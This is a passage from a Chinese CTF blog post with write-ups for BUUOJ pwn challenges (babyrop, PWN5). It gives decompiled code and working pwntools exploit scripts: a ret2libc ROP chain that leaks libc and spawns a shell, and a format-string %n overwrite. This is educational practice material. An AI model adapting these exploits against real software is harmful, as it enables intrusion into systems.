<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">ssize_t</span> __cdecl <span class="title">sub_80487D0</span><span class="params">(<span class="keyword">char</span> a1)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">ssize_t</span> result; <span class="comment">// eax</span></span><br><span class="line">  <span class="keyword">char</span> buf; <span class="comment">// [esp+11h] [ebp-E7h]</span></span><br><span class="line"></span><br><span class="line">  <span class="keyword">if</span> ( a1 == <span class="number">127</span> )</span><br><span class="line">    result = read(<span class="number">0</span>, &amp;buf, <span class="number">0xC8</span>u);</span><br><span class="line">  <span class="keyword">else</span></span><br><span class="line">    result = read(<span class="number">0</span>, &amp;buf, a1);  <span class="comment">//溢出</span></span><br><span class="line">  <span class="keyword">return</span> result;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<p>exp:</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span>*</span><br><span class="line"><span class="keyword">from</span> LibcSearcher <span class="keyword">import</span>*</span><br><span class="line">p = remote(<span class="string">&#x27;node3.buuoj.cn&#x27;</span>,<span class="string">&#x27;26338&#x27;</span>)</span><br><span class="line">elf = ELF(<span class="string">&#x27;./[OGeek2019]babyrop&#x27;</span>)</span><br><span class="line"></span><br><span class="line">main = <span class="number">0x08048825</span></span><br><span class="line">write_plt = elf.plt[<span class="string">&#x27;write&#x27;</span>]</span><br><span class="line">write_got = elf.got[<span class="string">&#x27;write&#x27;</span>]</span><br><span class="line"></span><br><span class="line">payload1 = <span class="string">&#x27;\x00&#x27;</span> + <span class="string">&#x27;a&#x27;</span>*<span class="number">6</span> + <span class="string">&#x27;\xff&#x27;</span></span><br><span class="line">p.sendline(payload1)</span><br><span class="line">p.recvuntil(<span class="string">&#x27;Correct\n&#x27;</span>)</span><br><span class="line"></span><br><span class="line">payload2 = <span class="string">&#x27;a&#x27;</span>*<span class="number">0xe7</span> + <span class="string">&#x27;b&#x27;</span>*<span class="number">4</span> + p32(write_plt) + p32(main) + p32(<span class="number">1</span>) + p32(write_got) + p32(<span class="number">5</span>)</span><br><span class="line"></span><br><span class="line">p.sendline(payload2)</span><br><span class="line">write_addr = u32(p.recv()[:<span class="number">4</span>])</span><br><span class="line"></span><br><span class="line">libc = LibcSearcher(<span class="string">&#x27;write&#x27;</span>,write_addr)</span><br><span class="line">libcbase = write_addr - libc.dump(<span class="string">&#x27;write&#x27;</span>)</span><br><span class="line">system_addr = libcbase + libc.dump(<span class="string">&#x27;system&#x27;</span>)</span><br><span class="line">binsh_addr = libcbase + libc.dump(<span class="string">&#x27;str_bin_sh&#x27;</span>)</span><br><span class="line"></span><br><span class="line">p.sendline(payload1)</span><br><span class="line">p.recvuntil(<span class="string">&#x27;Correct\n&#x27;</span>)</span><br><span class="line"></span><br><span class="line">payload3 = <span class="string">&#x27;a&#x27;</span>*<span class="number">0xe7</span> + <span class="string">&#x27;b&#x27;</span>*<span class="number">4</span> + p32(system_addr) + p32(<span class="number">0xdeafbeef</span>) + p32(binsh_addr)</span><br><span class="line">p.sendline(payload3)</span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure>

<h2 id="0x7-第五空间2019-决赛-PWN5"><a href="#0x7-第五空间2019-决赛-PWN5" class="headerlink" title="0x7 [第五空间2019 决赛]PWN5"></a>0x7 [第五空间2019 决赛]PWN5</h2><p>程序伪码：</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> __cdecl <span class="title">main</span><span class="params">(<span class="keyword">int</span> a1)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">unsigned</span> <span class="keyword">int</span> v1; <span class="comment">// eax</span></span><br><span class="line">  <span class="keyword">int</span> fd; <span class="comment">// ST14_4</span></span><br><span class="line">  <span class="keyword">int</span> result; <span class="comment">// eax</span></span><br><span class="line">  <span class="keyword">int</span> v4; <span class="comment">// ecx</span></span><br><span class="line">  <span class="keyword">unsigned</span> <span class="keyword">int</span> v5; <span class="comment">// et1</span></span><br><span class="line">  <span class="keyword">char</span> nptr; <span class="comment">// [esp+4h] [ebp-80h]</span></span><br><span class="line">  <span class="keyword">char</span> buf; <span class="comment">// [esp+14h] [ebp-70h]</span></span><br><span class="line">  <span class="keyword">unsigned</span> <span class="keyword">int</span> v8; <span class="comment">// [esp+78h] [ebp-Ch]</span></span><br><span class="line">  <span class="keyword">int</span> *v9; <span class="comment">// [esp+7Ch] [ebp-8h]</span></span><br><span class="line"></span><br><span class="line">  v9 = &amp;a1;</span><br><span class="line">  v8 = __readgsdword(<span class="number">0x14</span>u);</span><br><span class="line">  setvbuf(<span class="built_in">stdout</span>, <span class="number">0</span>, <span class="number">2</span>, <span class="number">0</span>);</span><br><span class="line">  v1 = time(<span class="number">0</span>);</span><br><span class="line">  srand(v1);</span><br><span class="line">  fd = open(<span class="string">&quot;/dev/urandom&quot;</span>, <span class="number">0</span>);</span><br><span class="line">  read(fd, &amp;unk_804C044, <span class="number">4u</span>);</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;your name:&quot;</span>);</span><br><span class="line">  read(<span class="number">0</span>, &amp;buf, <span class="number">0x63</span>u);</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;Hello,&quot;</span>);</span><br><span class="line">  <span class="built_in">printf</span>(&amp;buf);</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;your passwd:&quot;</span>);</span><br><span class="line">  read(<span class="number">0</span>, &amp;nptr, <span class="number">0xF</span>u);</span><br><span class="line">  <span class="keyword">if</span> ( atoi(&amp;nptr) == unk_804C044 )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;ok!!&quot;</span>);</span><br><span class="line">    system(<span class="string">&quot;/bin/sh&quot;</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">else</span></span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;fail&quot;</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  result = <span class="number">0</span>;</span><br><span class="line">  v5 = __readgsdword(<span class="number">0x14</span>u);</span><br><span class="line">  v4 = v5 ^ v8;</span><br><span class="line">  <span class="keyword">if</span> ( v5 != v8 )</span><br><span class="line">    sub_80493D0(v4);</span><br><span class="line">  <span class="keyword">return</span> result;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure>
<p>格式化字符串，先看一下输入的aaaa在栈上位置的偏移量：</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">$ ./pwn5</span><br><span class="line">your name:aaaa%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.</span><br><span class="line">Hello,aaaa0xffdfa508.0x63.(nil).0xf7f31a9c.0x3.0xf7f03410.0x1.(nil).0x1.0x61616161.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.</span><br><span class="line">����your passwd:</span><br></pre></td></tr></table></figure>
<p>可以看到在第10个的位置，可以利用格式化字符串将指定数值写到指定地址，payload一般构造如下：</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">...[overwrite addr]....%[overwrite offset]$n</span><br></pre></td></tr></table></figure>
<p>这样可以将全局变量改写为4，exp如下：</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#-*- coding: UTF-8 -*- </span></span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span>*</span><br><span class="line"><span class="comment"># p = remote(&#x27;node3.buuoj.cn&#x27;,&#x27;26236&#x27;)</span></span><br><span class="line">p = process(<span class="string">&#x27;./pwn5&#x27;</span>)</span><br><span class="line">fd = <span class="number">0x0804C044</span></span><br><span class="line"><span class="comment"># 随机数被修改为4，p32为4位</span></span><br><span class="line">payload = p32(fd) + <span class="string">&#x27;%10$n&#x27;</span> </span><br><span class="line">p.recvuntil(<span class="string">&quot;your name:&quot;</span>)</span><br><span class="line">p.sendline(payload)</span><br><span class="line">p.recvuntil(<span class="string">&quot;your passwd:&quot;</span>)</span><br><span class="line">p.sendline(<span class="string">&#x27;4&#x27;</span>)</span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure>

<h2 id="0x8-get-started-3dsctf-2016"><a href="#0x8-get-started-3dsctf-2016" class="headerlink" title="0x8 get_started_3dsctf_2016"></a>0x8 get_started_3dsctf_2016</h2><p>这篇写过详细的<a target="_blank" rel="noopener" href="https://iceyup.xyz/2021/01/25/get_started_3dsctf_2016/">writeup</a></p>
<h2 id="0x9-ciscn-2019-en-2"><a href="#0x9-ciscn-2019-en-2" class="headerlink" title="0x9 ciscn_2019_en_2"></a>0x9 ciscn_2019_en_2</h2><p>解法同 ciscn_2019_c_1</p>
<h2 id="0xa"><a href="#0xa" class="headerlink" title="0xa"></a>0xa</h2><p>剩下的后面争取一天补一篇，还有就是堆要继续学，勤写博客，题争取时间多刷</p>
</article><div class="post-copyright"><div class="post-copyright__author"><span class="post-copyright-meta">文章作者: </span><span class="post-copyright-info"><a href="mailto:undefined">1c3y</a></span></div><div class="post-copyright__type"><span class="post-copyright-meta">文章链接: </span><span class="post-copyright-info"><a href="http://example.com/2021/03/22/BUUOJ%E5%88%B7%E9%A2%98%E8%AE%B0%E5%BD%95%E8%A1%A5%E6%A1%A31/">http://example.com/2021/03/22/BUUOJ%E5%88%B7%E9%A2%98%E8%AE%B0%E5%BD%95%E8%A1%A5%E6%A1%A31/</a></span></div><div class="post-copyright__notice"><span class="post-copyright-meta">版权声明: </span><span class="post-copyright-info">本博客所有文章除特别声明外，均采用 <a href="https://creativecommons.org/licenses/by-nc-sa/4.0/" target="_blank">CC BY-NC-SA 4.0</a> 许可协议。转载请注明来自 <a href="http://example.com" target="_blank">Icey's Blog</a>！</span></div></div><div class="tag_share"><div class="post-meta__tag-list"><a class="post-meta__tags" href="/tags/pwn/">pwn</a><a class="post-meta__tags" href="/tags/BUUCTF/">BUUCTF</a></div><div class="post_share"><div class="social-share" data-image="https://i.loli.net/2021/03/21/2lRt7MpyxaGS8u4.jpg" data-sites="facebook,twitter,wechat,weibo,qq"></div><link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/social-share.js/dist/css/share.min.css" media="print" onload="this.media='all'"><script src="https://cdn.jsdelivr.net/npm/social-share.js/dist/js/social-share.min.js" defer></script></div></div><nav class="pagination-post" id="pagination"><div class="prev-post pull-left"><a href="/2021/03/28/Largebin%20attack%E5%AD%A6%E4%B9%A0/"><img class="prev-cover" src="https://i.loli.net/2021/03/21/mLYCNvXPnutGfBI.jpg" onerror="onerror=null;src='/img/404.jpg'" alt="cover of previous post"><div class="pagination-info"><div class="label">上一篇</div><div class="prev_info">Largebin attack学习</div></div></a></div><div class="next-post pull-right"><a href="/2021/03/20/House%20of%20Spirit%E5%AD%A6%E4%B9%A0/"><img class="next-cover" src="https://i.loli.net/2021/03/21/pB2PXv3LnAsYNMO.jpg" onerror="onerror=null;src='/img/404.jpg'" alt="cover of next post"><div class="pagination-info"><div class="label">下一篇</div><div class="next_info">House of Spirit学习</div></div></a></div></nav><div class="relatedPosts"><div class="headline"><i class="fas fa-thumbs-up fa-fw"></i><span> 相关推荐</span></div><div class="relatedPosts-list"><div><a href="/2021/02/07/ciscn_2019_es_2/" title="ciscn_2019_es_2"><img class="cover" src="https://i.loli.net/2021/03/21/y2xBT68QnRUC3O9.jpg" alt="cover"><div class="content is-center"><div class="date"><i class="far fa-calendar-alt fa-fw"></i> 2021-02-07</div><div class="title">ciscn_2019_es_2</div></div></a></div><div><a href="/2021/03/14/[V&N2020 公开赛]simpleHeap/" title="V&N2020 公开赛 simpleHeap"><img class="cover" src="https://i.loli.net/2021/03/21/1WR5tiS8lsc9wXb.jpg" alt="cover"><div class="content is-center"><div class="date"><i class="far fa-calendar-alt fa-fw"></i> 2021-03-14</div><div class="title">V&N2020 公开赛 simpleHeap</div></div></a></div><div><a href="/2021/03/20/House of Spirit学习/" title="House of Spirit学习"><img class="cover" src="https://i.loli.net/2021/03/21/pB2PXv3LnAsYNMO.jpg" alt="cover"><div class="content is-center"><div class="date"><i class="far fa-calendar-alt fa-fw"></i> 2021-03-20</div><div class="title">House of Spirit学习</div></div></a></div><div><a href="/2021/01/25/get_started_3dsctf_2016/" title="get_started_3dsctf_2016"><img class="cover" src="https://i.loli.net/2021/03/21/FpLYGZ5oVaXI4s9.jpg" alt="cover"><div class="content is-center"><div class="date"><i class="far fa-calendar-alt fa-fw"></i> 2021-01-25</div><div class="title">get_started_3dsctf_2016</div></div></a></div><div><a href="/2021/03/28/Largebin attack学习/" title="Largebin attack学习"><img class="cover" src="https://i.loli.net/2021/03/21/mLYCNvXPnutGfBI.jpg" alt="cover"><div class="content is-center"><div class="date"><i class="far fa-calendar-alt fa-fw"></i> 2021-03-28</div><div class="title">Largebin attack学习</div></div></a></div></div></div></div><div class="aside-content" id="aside-content"><div class="card-widget card-info"><div class="card-info-avatar is-center"><img class="avatar-img" src="http://p.ananas.chaoxing.com/star3/origin/e79248a96a8b9a9f4c51e2e7beaabc5c.png" onerror="this.onerror=null;this.src='/img/friend_404.gif'" alt="avatar"/><div class="author-info__name">1c3y</div><div class="author-info__description">Welcome</div></div><div class="card-info-data"><div class="card-info-data-item is-center"><a href="/archives/"><div class="headline">文章</div><div class="length-num">7</div></a></div><div class="card-info-data-item is-center"><a href="/tags/"><div class="headline">标签</div><div class="length-num">3</div></a></div><div class="card-info-data-item is-center"><a href="/categories/"><div class="headline">分类</div><div class="length-num">2</div></a></div></div><a class="button--animated" id="card-info-btn" target="_blank" rel="noopener" href="https://github.com/xxxxxx"><i class="fab fa-github"></i><span>Follow Me</span></a></div><div class="card-widget card-announcement"><div class="item-headline"><i class="fas fa-bullhorn card-announcement-animation"></i><span>公告</span></div><div class="announcement_content">This is my Blog</div></div><div class="sticky_layout"><div class="card-widget" id="card-toc"><div class="item-headline"><i class="fas fa-stream"></i><span>目录</span></div><div class="toc-content"><ol class="toc"><li class="toc-item toc-level-2"><a class="toc-link" href="#%E5%89%8D%E8%A8%80"><span class="toc-number">1.</span> <span class="toc-text">前言</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#0x1-warmup-csaw-2016"><span class="toc-number">2.</span> <span class="toc-text">0x1 warmup_csaw_2016</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#0x2-pwn1-sctf-2016"><span class="toc-number">3.</span> <span class="toc-text">0x2 pwn1_sctf_2016</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#0x3-ciscn-2019-n-1"><span class="toc-number">4.</span> <span class="toc-text">0x3 ciscn_2019_n_1</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#0x4-jarvisoj-level0"><span class="toc-number">5.</span> <span class="toc-text">0x4 jarvisoj_level0</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#0x5-ciscn-2019-c-1"><span class="toc-number">6.</span> <span class="toc-text">0x5 ciscn_2019_c_1</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E4%B8%BB%E5%87%BD%E6%95%B0"><span class="toc-number">6.1.</span> <span class="toc-text">主函数</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#0x6-OGeek2019-babyrop"><span class="toc-number">7.</span> <span class="toc-text">0x6 [OGeek2019]babyrop</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#0x7-%E7%AC%AC%E4%BA%94%E7%A9%BA%E9%97%B42019-%E5%86%B3%E8%B5%9B-PWN5"><span class="toc-number">8.</span> <span class="toc-text">0x7 [第五空间2019 决赛]PWN5</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#0x8-get-started-3dsctf-2016"><span class="toc-number">9.</span> <span class="toc-text">0x8 get_started_3dsctf_2016</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#0x9-ciscn-2019-en-2"><span class="toc-number">10.</span> <span class="toc-text">0x9 ciscn_2019_en_2</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#0xa"><span class="toc-number">11.</span> <span class="toc-text">0xa</span></a></li></ol></div></div><div class="card-widget card-recent-post"><div class="item-headline"><i class="fas fa-history"></i><span>最新文章</span></div><div class="aside-list"><div class="aside-list-item"><a class="thumbnail" href="/2021/03/28/Largebin%20attack%E5%AD%A6%E4%B9%A0/" title="Largebin attack学习"><img src="https://i.loli.net/2021/03/21/mLYCNvXPnutGfBI.jpg" onerror="this.onerror=null;this.src='/img/404.jpg'" alt="Largebin attack学习"/></a><div class="content"><a class="title" href="/2021/03/28/Largebin%20attack%E5%AD%A6%E4%B9%A0/" title="Largebin attack学习">Largebin attack学习</a><time datetime="2021-03-28T06:10:00.000Z" title="发表于 2021-03-28 14:10:00">2021-03-28</time></div></div><div class="aside-list-item"><a class="thumbnail" href="/2021/03/22/BUUOJ%E5%88%B7%E9%A2%98%E8%AE%B0%E5%BD%95%E8%A1%A5%E6%A1%A31/" title="BUUOJ刷题记录补档-1"><img src="https://i.loli.net/2021/03/21/2lRt7MpyxaGS8u4.jpg" onerror="this.onerror=null;this.src='/img/404.jpg'" alt="BUUOJ刷题记录补档-1"/></a><div class="content"><a class="title" href="/2021/03/22/BUUOJ%E5%88%B7%E9%A2%98%E8%AE%B0%E5%BD%95%E8%A1%A5%E6%A1%A31/" title="BUUOJ刷题记录补档-1">BUUOJ刷题记录补档-1</a><time datetime="2021-03-22T13:19:00.000Z" title="发表于 2021-03-22 21:19:00">2021-03-22</time></div></div><div class="aside-list-item"><a class="thumbnail" href="/2021/03/20/House%20of%20Spirit%E5%AD%A6%E4%B9%A0/" title="House of Spirit学习"><img src="https://i.loli.net/2021/03/21/pB2PXv3LnAsYNMO.jpg" onerror="this.onerror=null;this.src='/img/404.jpg'" alt="House of Spirit学习"/></a><div class="content"><a class="title" href="/2021/03/20/House%20of%20Spirit%E5%AD%A6%E4%B9%A0/" title="House of Spirit学习">House of Spirit学习</a><time datetime="2021-03-20T06:49:00.000Z" title="发表于 2021-03-20 14:49:00">2021-03-20</time></div></div><div class="aside-list-item"><a class="thumbnail" href="/2021/03/14/%5BV&amp;N2020%20%E5%85%AC%E5%BC%80%E8%B5%9B%5DsimpleHeap/" title="V&amp;N2020 公开赛 simpleHeap"><img src="https://i.loli.net/2021/03/21/1WR5tiS8lsc9wXb.jpg" onerror="this.onerror=null;this.src='/img/404.jpg'" alt="V&amp;N2020 公开赛 simpleHeap"/></a><div class="content"><a class="title" href="/2021/03/14/%5BV&amp;N2020%20%E5%85%AC%E5%BC%80%E8%B5%9B%5DsimpleHeap/" title="V&amp;N2020 公开赛 simpleHeap">V&amp;N2020 公开赛 simpleHeap</a><time datetime="2021-03-14T01:27:00.000Z" title="发表于 2021-03-14 09:27:00">2021-03-14</time></div></div><div class="aside-list-item"><a class="thumbnail" href="/2021/02/07/ciscn_2019_es_2/" title="ciscn_2019_es_2"><img src="https://i.loli.net/2021/03/21/y2xBT68QnRUC3O9.jpg" onerror="this.onerror=null;this.src='/img/404.jpg'" alt="ciscn_2019_es_2"/></a><div class="content"><a class="title" href="/2021/02/07/ciscn_2019_es_2/" title="ciscn_2019_es_2">ciscn_2019_es_2</a><time datetime="2021-02-07T06:59:00.000Z" title="发表于 2021-02-07 14:59:00">2021-02-07</time></div></div></div></div></div></div></main><footer id="footer"><div id="footer-wrap"><div class="copyright">&copy;2020 - 2021 By 1c3y</div><div class="framework-info"><span>框架 </span><a target="_blank" rel="noopener" href="https://hexo.io">Hexo</a><span class="footer-separator">|</span><span>主题 </span><a target="_blank" rel="noopener" href="https://github.com/jerryc127/hexo-theme-butterfly">Butterfly</a></div></div></footer></div><div id="rightside"><div id="rightside-config-hide"><button id="readmode" type="button" title="阅读模式"><i class="fas fa-book-open"></i></button><button id="darkmode" type="button" title="浅色和深色模式转换"><i class="fas fa-adjust"></i></button><button id="hide-aside-btn" type="button" title="单栏和双栏切换"><i class="fas fa-arrows-alt-h"></i></button></div><div id="rightside-config-show"><button id="rightside_config" type="button" title="设置"><i class="fas fa-cog fa-spin"></i></button><button class="close" id="mobile-toc-button" type="button" title="目录"><i class="fas fa-list-ul"></i></button><button id="go-up" type="button" title="回到顶部"><i class="fas fa-arrow-up"></i></button></div></div><div><script src="/js/utils.js"></script><script src="/js/main.js"></script><div class="js-pjax"></div><script defer="defer" id="fluttering_ribbon" mobile="true" src="https://cdn.jsdelivr.net/npm/butterfly-extsrc@1/dist/canvas-fluttering-ribbon.min.js"></script><script async data-pjax src="//busuanzi.ibruce.info/busuanzi/2.3/busuanzi.pure.mini.js"></script></div></body></html>